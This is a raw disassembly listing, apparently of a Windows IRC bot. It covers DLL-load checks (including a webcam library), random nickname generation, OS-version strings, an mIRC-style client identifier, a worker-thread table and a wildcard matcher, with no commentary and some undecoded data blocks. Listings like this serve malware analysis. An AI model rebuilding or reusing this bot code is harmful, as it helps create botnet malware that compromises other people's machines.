lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A983: ; CODE XREF: sub_40A7CF+186j
cmp dword_4CB754, esi
jz short loc_40A9B7
push dword_4CB758
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A9B7: ; CODE XREF: sub_40A7CF+1BAj
cmp dword_4CB75C, esi
jz short loc_40A9EB
push dword_4CB760
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40A9EB: ; CODE XREF: sub_40A7CF+1EEj
cmp dword_4CB764, esi
jz short loc_40AA1F
push dword_4CB768
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40AA1F: ; CODE XREF: sub_40A7CF+222j
cmp dword_4CB76C, esi
jz short loc_40AA53
push dword_4CB770
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40AA53: ; CODE XREF: sub_40A7CF+256j
cmp dword_4CB774, esi
jz short loc_40AA87
push dword_4CB778
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40AA87: ; CODE XREF: sub_40A7CF+28Aj
cmp dword_4CB77C, esi
jz short loc_40AABB
push dword_4CB780
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 20h
loc_40AABB: ; CODE XREF: sub_40A7CF+2BEj
lea eax, [ebp+var_200]
push offset unk_42DA28
push eax
call sub_41B886
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40AAE8
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_40AAE8: ; CODE XREF: sub_40A7CF+302j
lea eax, [ebp+var_200]
push eax
call sub_4151AD
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A7CF endp
; =============== S U B R O U T I N E =======================================
sub_40AAFA proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5C96p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CB694
cmp eax, 0FFFFFFFFh
jnz short locret_40AB22
push [esp+arg_0]
call dword_4CB6D8
test eax, eax
jnz short loc_40AB1B
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AB1B: ; CODE XREF: sub_40AAFA+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AB22: ; CODE XREF: sub_40AAFA+Dj
retn
sub_40AAFA endp
; =============== S U B R O U T I N E =======================================
sub_40AB23 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CB570
xor eax, eax
test ecx, ecx
jz short locret_40AB31
call ecx
locret_40AB31: ; CODE XREF: sub_40AB23+Aj
retn
sub_40AB23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB32 proc near ; CODE XREF: sub_401ACD:loc_403F5Ep
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CB6D0
mov ecx, eax
sub ecx, edi
jz loc_40ABF8
sub ecx, 32h
jz loc_40ABF1
sub ecx, 48h
jz short loc_40AB92
sub ecx, 6Eh
jz short loc_40AB8B
loc_40AB74: ; CODE XREF: sub_40AB32+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42DC3C
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_40ABD2
; ---------------------------------------------------------------------------
loc_40AB8B: ; CODE XREF: sub_40AB32+40j
push offset unk_42DC18
jmp short loc_40ABC4
; ---------------------------------------------------------------------------
loc_40AB92: ; CODE XREF: sub_40AB32+3Bj
push [ebp+var_8]
call sub_41B4D5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41B590
add esp, 10h
cmp esi, edi
jz short loc_40ABBF
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CB6D0
cmp eax, edi
jz short loc_40ABF8
jmp short loc_40AB74
; ---------------------------------------------------------------------------
loc_40ABBF: ; CODE XREF: sub_40AB32+79j
push offset unk_42DBE8
loc_40ABC4: ; CODE XREF: sub_40AB32+5Ej
; sub_40AB32+C4j
lea eax, [ebp+var_88]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40ABD2: ; CODE XREF: sub_40AB32+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_4151AD
pop ecx
loc_40ABE2: ; CODE XREF: sub_40AB32+C8j
; sub_40AB32+DCj
push esi
call sub_41B0B1
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40ABF1: ; CODE XREF: sub_40AB32+32j
push offset unk_42DBB8
jmp short loc_40ABC4
; ---------------------------------------------------------------------------
loc_40ABF8: ; CODE XREF: sub_40AB32+29j
; sub_40AB32+89j
cmp [esi], edi
jbe short loc_40ABE2
lea ebx, [esi+4]
loc_40ABFF: ; CODE XREF: sub_40AB32+DAj
push ebx
call dword_4CB6CC
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40ABFF
jmp short loc_40ABE2
sub_40AB32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC10 proc near ; CODE XREF: sub_401ACD+2248p
; sub_401ACD+2399p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CB5F8
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CB784
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41B886
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AC10 endp
; =============== S U B R O U T I N E =======================================
sub_40AC69 proc near ; CODE XREF: sub_412B09+24Cp
; sub_412B09+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AC92
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AC85: ; CODE XREF: sub_40AC69+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AC85
pop edi
jmp short loc_40AC96
; ---------------------------------------------------------------------------
loc_40AC92: ; CODE XREF: sub_40AC69+Aj
mov edx, [esp+4+arg_0]
loc_40AC96: ; CODE XREF: sub_40AC69+27j
test esi, esi
pop esi
jz short loc_40ACA0
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40ACA0: ; CODE XREF: sub_40AC69+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AC69 endp
; =============== S U B R O U T I N E =======================================
sub_40ACB6 proc near ; CODE XREF: sub_40B08E+49p
; DATA XREF: ___:off_42DC88o
arg_0 = dword ptr 4
push esi
push edi
nop
call near ptr 2690AA5h
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+arg_0]
push off_42DCF0[edx*4]
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AD1E
loc_40ACF8: ; CODE XREF: sub_40ACB6+66j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42BB60
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACF8
loc_40AD1E: ; CODE XREF: sub_40ACB6+40j
mov eax, edi
pop edi
pop esi
retn
sub_40ACB6 endp
; ---------------------------------------------------------------------------
db 56h
dd 7AE89057h, 5002285Dh, 10BA7E8h, 247C8B00h, 2404C710h
dd 42913Ch, 42D01468h, 571C6A00h, 10C37E8h, 83F63300h
dd 353910C4h, 429098h, 87E8267Eh, 6A00010Bh, 0F759990Ah
dd 685752F9h, 42BB60h, 0E8571C6Ah, 10C10h, 4614C483h, 9098353Bh
dd 0DA7C0042h, 5E5FC78Bh
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40AD81 proc near ; CODE XREF: sub_401ACD+69CDp
arg_0 = dword ptr 4
push ebx
push esi
push edi
nop
call near ptr 2690AA5h
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ADC4
loc_40ADAE: ; CODE XREF: sub_40AD81+41j
call sub_41B8E2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ADAE
loc_40ADC4: ; CODE XREF: sub_40AD81+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AD81 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
nop
call near ptr 2690AA5h
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_431948
push eax
push esi
nop
call near ptr 26C0000h
movsx eax, byte_431948
push 41h
pop ecx
push 1
pop edx
loc_40AE0A: ; CODE XREF: ___:0040AE15j
cmp eax, ecx
jnz short loc_40AE11
mov [ebp-4], edx
loc_40AE11: ; CODE XREF: ___:0040AE0Cj
inc ecx
cmp ecx, 5Bh
jl short loc_40AE0A
push 61h
pop ecx
loc_40AE1A: ; CODE XREF: ___:0040AE25j
cmp eax, ecx
jnz short loc_40AE21
mov [ebp-4], edx
loc_40AE21: ; CODE XREF: ___:0040AE1Cj
inc ecx
cmp ecx, 7Bh
jl short loc_40AE1A
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AE66
loc_40AE40: ; CODE XREF: ___:0040AE64j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42BB60
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AE40
loc_40AE66: ; CODE XREF: ___:0040AE3Ej
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call near ptr 2690AA5h
nop
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
nop
call near ptr 26D0000h
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_43194C
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AEDB
loc_40AEB5: ; CODE XREF: ___:0040AED9j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42BB60
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AEB5
loc_40AEDB: ; CODE XREF: ___:0040AEB3j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset dword_43D808
mov dword ptr [ebp-94h], 94h
nop
call near ptr 26D066Bh
call near ptr 2690AA5h
nop
push eax
call sub_41B8D8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AF65
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF45
cmp dword ptr [ebp-84h], 1
jnz short loc_40AF35
mov esi, offset dword_431974
loc_40AF35: ; CODE XREF: ___:0040AF2Ej
cmp dword ptr [ebp-84h], 2
jnz short loc_40AFA1
mov esi, offset dword_431970
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF45: ; CODE XREF: ___:0040AF25j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AF55
mov esi, offset dword_43196C
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF55: ; CODE XREF: ___:0040AF4Cj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AF9C
mov esi, offset dword_431968
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF65: ; CODE XREF: ___:0040AF1Cj
cmp dword ptr [ebp-90h], 5
jnz short loc_40AF9C
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF7E
mov esi, offset dword_431964
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF7E: ; CODE XREF: ___:0040AF75j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AF8E
mov esi, offset dword_431960
jmp short loc_40AFA1
; ---------------------------------------------------------------------------
loc_40AF8E: ; CODE XREF: ___:0040AF85j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_43195C
jz short loc_40AFA1
loc_40AF9C: ; CODE XREF: ___:0040AF5Cj
; ___:0040AF6Cj
mov esi, offset dword_431958
loc_40AFA1: ; CODE XREF: ___:0040AF3Cj
; ___:0040AF43j ...
mov edi, [ebp+8]
push esi
push offset dword_431950
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AFE5
loc_40AFBF: ; CODE XREF: ___:0040AFE3j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42BB60
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AFBF
loc_40AFE5: ; CODE XREF: ___:0040AFBDj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AFEB proc near ; CODE XREF: sub_40B08E+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
nop
call near ptr 2690AA5h
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40B03A
call dword_4CB660
test eax, eax
mov eax, offset dword_431980
jnz short loc_40B023
mov eax, offset dword_43D808
loc_40B023: ; CODE XREF: sub_40AFEB+31j
push eax
push esi
push offset dword_431978
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41B980
add esp, 14h
jmp short loc_40B05A
; ---------------------------------------------------------------------------
loc_40B03A: ; CODE XREF: sub_40AFEB+22j
call dword_4CB660
test eax, eax
mov eax, offset dword_431980
jnz short loc_40B04E
mov eax, offset dword_43D808
loc_40B04E: ; CODE XREF: sub_40AFEB+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40B05A: ; CODE XREF: sub_40AFEB+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41AFE0
pop ecx
cmp eax, 2
pop esi
jbe short loc_40B089
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41C1E0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 18h
loc_40B089: ; CODE XREF: sub_40AFEB+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40AFEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B08E proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42DC84
loc_40B09A: ; CODE XREF: sub_40B08E+3Fj
cmp [ebp+arg_C], 0
jz short loc_40B0B5
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41C070
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B0BF
; ---------------------------------------------------------------------------
loc_40B0B5: ; CODE XREF: sub_40B08E+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40B0BF: ; CODE XREF: sub_40B08E+25j
test eax, eax
jnz short loc_40B0D1
add esi, 14h
inc edi
cmp esi, offset off_42DCFC
jb short loc_40B09A
jmp short loc_40B0DF
; ---------------------------------------------------------------------------
loc_40B0D1: ; CODE XREF: sub_40B08E+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42DC88[eax*4]
pop ecx
loc_40B0DF: ; CODE XREF: sub_40B08E+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40B0F2
push [ebp+arg_0]
call sub_40AFEB
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B0F2: ; CODE XREF: sub_40B08E+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40B08E endp
; =============== S U B R O U T I N E =======================================
sub_40B0F7 proc near ; CODE XREF: ___:00401599p
; ___:004015D8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43E390
loc_40B0FF: ; CODE XREF: sub_40B0F7+18j
cmp byte ptr [eax], 0
jz short loc_40B113
add eax, 234h
inc edi
cmp eax, offset dword_4CB390
jl short loc_40B0FF
jmp short loc_40B15E
; ---------------------------------------------------------------------------
loc_40B113: ; CODE XREF: sub_40B0F7+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43E390[esi]
push eax
call sub_41B5F0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43E590[esi], eax
and dword_43E594[esi], 0
mov eax, [esp+8+arg_8]
and dword_43E598[esi], 0
mov dword_43E59C[esi], eax
and byte_43E5A8[esi], 0
pop esi
loc_40B15E: ; CODE XREF: sub_40B0F7+1Aj
mov eax, edi
pop edi
retn
sub_40B0F7 endp
; ---------------------------------------------------------------------------
word_40B162 dw 8B55h ; DATA XREF: sub_401ACD+298Ao
dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
dd 6CE8EC75h, 83000002h, 6A14C4h, 2D4E4FE8h, 5E5F9002h
dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 431A8068h
dd 0C75FF00h, 0E80875FFh, 0FFFFE89Fh, 3314C483h, 0E390BEFFh
dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
dd 0FE00858Dh, 8868FFFFh, 500042C8h, 10681E8h, 8D016A00h
dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE857h
dd 8124C483h, 234C6h, 0FE814700h, 4CB390h, 5E5FB07Ch
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40B232 proc near ; CODE XREF: sub_401ACD+7BA5p
; sub_40B2C0+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B2BA
cmp esi, 400h
jge short loc_40B2BA
imul esi, 234h
push edi
push ebx
push dword_43E5A4[esi]
lea edi, dword_43E5A4[esi]
nop
call near ptr 2690B5Dh
cmp [edi], ebx
jz short loc_40B26A
push 1
pop ebp
loc_40B26A: ; CODE XREF: sub_40B232+33j
mov [edi], ebx
lea edi, dword_43E598[esi]
mov dword_43E590[esi], ebx
mov dword_43E594[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B28B
push eax
call sub_4199CA
pop ecx
loc_40B28B: ; CODE XREF: sub_40B232+50j
mov [edi], ebx
lea edi, dword_43E59C[esi]
mov byte ptr dword_43E390[esi], bl
mov byte_43E5A8[esi], bl
push dword ptr [edi]
call dword_4CB6EC
lea esi, dword_43E5A0[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CB6EC
mov [esi], ebx
pop edi
loc_40B2BA: ; CODE XREF: sub_40B232+Dj
; sub_40B232+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B232 endp
; =============== S U B R O U T I N E =======================================
sub_40B2C0 proc near ; CODE XREF: sub_40111D+18p
; ___:loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43E390
loc_40B2CC: ; CODE XREF: sub_40B2C0+2Aj
cmp byte ptr [esi], 0
jz short loc_40B2DD
push edi
call sub_40B232
test eax, eax
pop ecx
jz short loc_40B2DD
inc ebx
loc_40B2DD: ; CODE XREF: sub_40B2C0+Fj
; sub_40B2C0+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CB390
jl short loc_40B2CC
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B2C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2F2 proc near ; CODE XREF: sub_401ACD+418Fp
; sub_401ACD+42E1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43E594
loc_40B306: ; CODE XREF: sub_40B2F2+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B328
test edi, edi
jle short loc_40B31A
cmp [esi], edi
jz short loc_40B31A
cmp ebx, edi
jnz short loc_40B328
loc_40B31A: ; CODE XREF: sub_40B2F2+1Ej
; sub_40B2F2+22j
push ebx
call sub_40B232
test eax, eax
pop ecx
jz short loc_40B328
inc [ebp+var_4]
loc_40B328: ; CODE XREF: sub_40B2F2+1Aj
; sub_40B2F2+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CB594
jl short loc_40B306
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B2F2 endp
; =============== S U B R O U T I N E =======================================
sub_40B33F proc near ; CODE XREF: ___:00401630p
; sub_401ACD+97Ap ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43E590
loc_40B346: ; CODE XREF: sub_40B33F+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B34F
inc eax
loc_40B34F: ; CODE XREF: sub_40B33F+Dj
add ecx, 234h
cmp ecx, offset dword_4CB590
jl short loc_40B346
retn
sub_40B33F endp
; =============== S U B R O U T I N E =======================================
sub_40B35E proc near ; CODE XREF: sub_401ACD+2434p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43E590
loc_40B368: ; CODE XREF: sub_40B35E+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B381
add ecx, 234h
inc edx
cmp ecx, offset dword_4CB590
jl short loc_40B368
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B381: ; CODE XREF: sub_40B35E+10j
mov eax, edx
pop esi
retn
sub_40B35E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B385 proc near ; CODE XREF: sub_401ACD+1067p
; sub_401ACD+126Dp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B39E
push [ebp+arg_1C]
call sub_41B779
pop ecx
loc_40B39E: ; CODE XREF: sub_40B385+Ej
push eax
push [ebp+arg_18]
call sub_40B2F2
pop ecx
test eax, eax
pop ecx
jle short loc_40B3CA
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41B886
add esp, 14h
jmp short loc_40B3E4
; ---------------------------------------------------------------------------
loc_40B3CA: ; CODE XREF: sub_40B385+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41B886
add esp, 10h
loc_40B3E4: ; CODE XREF: sub_40B385+43j
cmp [ebp+arg_C], 0
jnz short loc_40B404
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_40B404: ; CODE XREF: sub_40B385+63j
lea eax, [ebp+var_200]
push eax
call sub_4151AD
pop ecx
leave
retn
sub_40B385 endp
; =============== S U B R O U T I N E =======================================
sub_40B413 proc near ; CODE XREF: sub_4017ED+159p
; ___:0040BA48p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43E5A4[eax], ecx
mov dword_43E590[eax], ecx
mov dword_43E594[eax], ecx
mov dword_43E598[eax], ecx
mov dword_43E59C[eax], ecx
mov dword_43E5A0[eax], ecx
mov byte ptr dword_43E390[eax], cl
mov byte_43E5A8[eax], cl
retn
sub_40B413 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B450 proc near ; CODE XREF: sub_401ACD+7E3Cp
; sub_40B57E+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B45A: ; CODE XREF: sub_40B450+68j
mov cl, [esi]
test cl, cl
jz short loc_40B4BA
cmp eax, 1
jnz short loc_40B4BA
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B4BA
cmp cl, 2Ah
jz short loc_40B4A1
cmp cl, 3Fh
jz short loc_40B484
cmp cl, 5Bh
jz short loc_40B489
xor eax, eax
cmp cl, dl
setz al
loc_40B484: ; CODE XREF: sub_40B450+26j
inc [ebp+arg_4]
jmp short loc_40B4B4
; ---------------------------------------------------------------------------
loc_40B489: ; CODE XREF: sub_40B450+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B4E6
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B4B4
; ---------------------------------------------------------------------------
loc_40B4A1: ; CODE XREF: sub_40B450+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B57E
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B4B4: ; CODE XREF: sub_40B450+37j
; sub_40B450+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B45A
; ---------------------------------------------------------------------------
loc_40B4BA: ; CODE XREF: sub_40B450+Ej
; sub_40B450+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B4CA
cmp eax, 1
jnz short loc_40B4E1
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B4BA
; ---------------------------------------------------------------------------
loc_40B4CA: ; CODE XREF: sub_40B450+6Dj
cmp eax, 1
jnz short loc_40B4E1
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B4E1
cmp byte ptr [esi], 0
jnz short loc_40B4E1
push 1
pop eax
jmp short loc_40B4E3
; ---------------------------------------------------------------------------
loc_40B4E1: ; CODE XREF: sub_40B450+72j
; sub_40B450+7Dj ...
xor eax, eax
loc_40B4E3: ; CODE XREF: sub_40B450+8Fj
pop esi
pop ebp
retn
sub_40B450 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4E6 proc near ; CODE XREF: sub_40B450+45p
var_8 = dword ptr -8
